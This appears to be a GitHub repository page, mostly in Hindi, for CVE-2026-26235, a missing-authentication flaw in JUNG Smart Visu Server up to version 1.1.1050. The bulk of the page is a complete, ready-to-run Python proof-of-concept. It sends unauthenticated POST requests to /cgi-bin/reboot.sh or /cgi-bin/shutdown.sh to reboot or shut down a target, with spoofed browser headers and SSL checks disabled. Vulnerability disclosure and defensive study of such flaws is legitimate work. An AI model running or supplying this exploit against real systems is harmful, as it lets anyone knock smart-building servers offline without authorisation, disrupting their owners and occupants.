mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown# CVE-2026-26235 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट JUNG Smart Visu Server <=1.1.1050 में एक अनप्रमाणित डिनायल-ऑफ-सर्विस भेद्यता, जो उजागर CGI एंडपॉइंट्स के माध्यम से रिमोट रीबूट या शटडाउन की अनुमति देती है।
मोहम्मद इदरीस बन्यामेर
CVE-2026-26235 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट - JUNG Smart Visu Server ≤ 1.1.1050 में लापता प्रमाणीकरण के माध्यम से बिना प्रमाणीकरण के सेवा से इनकार (Denial of Service)।
CVE-2026-26235 JUNG Smart Visu Server संस्करण ≤ 1.1.1050 में एक बिना प्रमाणीकरण के सेवा से इनकार (denial of service) भेद्यता है। यह उत्पाद महत्वपूर्ण सिस्टम प्रबंधन कार्यों के लिए प्रमाणीकरण लागू करने में विफल रहता है, जिससे दूरस्थ हमलावर एक ही POST अनुरोध के साथ सर्वर को रीबूट या बंद कर सकते हैं।
एंडपॉइंट /cgi-bin/reboot.sh और /cgi-bin/shutdown.sh बिना किसी प्रमाणीकरण जांच के उजागर होते हैं। इन सिस्टम-स्तरीय कमांड को ट्रिगर करने के लिए कोई सत्र टोकन, API कुंजी या क्रेडेंशियल की आवश्यकता नहीं है।
यह अनुमति देता है:
| स्थिति | संस्करण |
|---|---|
| ❌ कमजोर | JUNG Smart Visu Server ≤ 1.1.1050 |
| ✅ पैच किया गया | अभी तक जारी नहीं किया गया |
परीक्षण किया गया: JUNG Smart Visu Server 1.1.1050, एम्बेडेड लिनक्स
| वेक्टर | विवरण |
|---|---|
| CVSS v4 | 8.7 (उच्च) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| प्रमाणीकरण | कोई नहीं - पूरी तरह से बिना प्रमाणीकरण |
| हमला वेक्टर | नेटवर्क |
| जटिलता | कम |
| प्रभाव | उच्च उपलब्धता प्रभाव |
/cgi-bin/reboot.sh और /cgi-bin/shutdown.sh सार्वजनिक रूप से सुलभ हैंहमलावर → POST /cgi-bin/reboot.sh → कोई प्रमाणीकरण जांच नहीं → सिस्टम रीबूट → DoS
हमलावर → POST /cgi-bin/shutdown.sh → कोई प्रमाणीकरण जांच नहीं → सिस्टम शटडाउन → DoS
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def print_banner():
print("\n" + "="*60)
print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
print(" CVE-2026-26235 | CWE-306")
print("="*60 + "\n")
def exploit(target, action="reboot", verify_ssl=False, timeout=10):
endpoints = {
"reboot": "/cgi-bin/reboot.sh",
"shutdown": "/cgi-bin/shutdown.sh"
}
if action not in endpoints:
print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
return False
url = f"{target.rstrip('/')}{endpoints[action]}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Cache-Control": "max-age=0",
"Origin": target.rstrip('/'),
"Referer": f"{target.rstrip('/')}/",
"DNT": "1",
"Sec-GPC": "1"
}
print(f"[*] Target : {url}")
print(f"[*] Action : {action.upper()}")
print(f"[*] SSL Verify : {verify_ssl}")
print("[*] Sending unauthenticated POST request...\n")
try:
response = requests.post(
url,
headers=headers,
data="",
verify=verify_ssl,
timeout=timeout,
allow_redirects=False
)
print(f"[+] Request sent successfully!")
print(f"[+] HTTP Status : {response.status_code}")
if response.status_code == 200:
print("[!] Server responded with 200 OK - action likely executed")
elif response.status_code == 302 or response.status_code == 301:
print("[!] Server responded with redirect - action may have been triggered")
else:
print(f"[?] Unexpected response code: {response.status_code}")
if response.text:
print(f"[*] Response preview: {response.text[:200].strip()}")
print("\n[!] If successful, the target server should now be restarting or shutting down.")
return True
except requests.exceptions.Timeout:
print("[-] Connection timeout. The server may be down or unreachable.")
print("[*] This could indicate successful DoS if the server was previously reachable.")
return True
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection error: {e}")
print("[*] The server may have gone down - possibly successful exploitation.")
return True
except Exception as e:
print(f"[-] An error occurred: {e}")
return False
def main():
print_banner()
parser = argparse.ArgumentParser(
description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
)
parser.add_argument(
"target",
help="Target server URL (e.g., https://192.168.1.100:8080)"
)
parser.add_argument(
"-a", "--action",
choices=["reboot", "shutdown"],
default="reboot",
help="Action to perform: reboot or shutdown (default: reboot)"
)
parser.add_argument(
"-k", "--insecure",
action="store_false",
dest="verify_ssl",
default=False,
help="Disable SSL certificate verification (default: disabled)"
)
parser.add_argument(
"-t", "--timeout",
type=int,
default=10,
help="Request timeout in seconds (default: 10)"
)
args = parser.parse_args()
print(f"[*] Starting exploit against: {args.target}\n")
success = exploit(
target=args.target,
action=args.action,
verify_ssl=args.verify_ssl,
timeout=args.timeout
)
if success:
print("\n[+] Exploit completed successfully.")
else:
print("\n[-] Exploit failed.")
sys.exit(1)
if __name__ == "__main__":
main()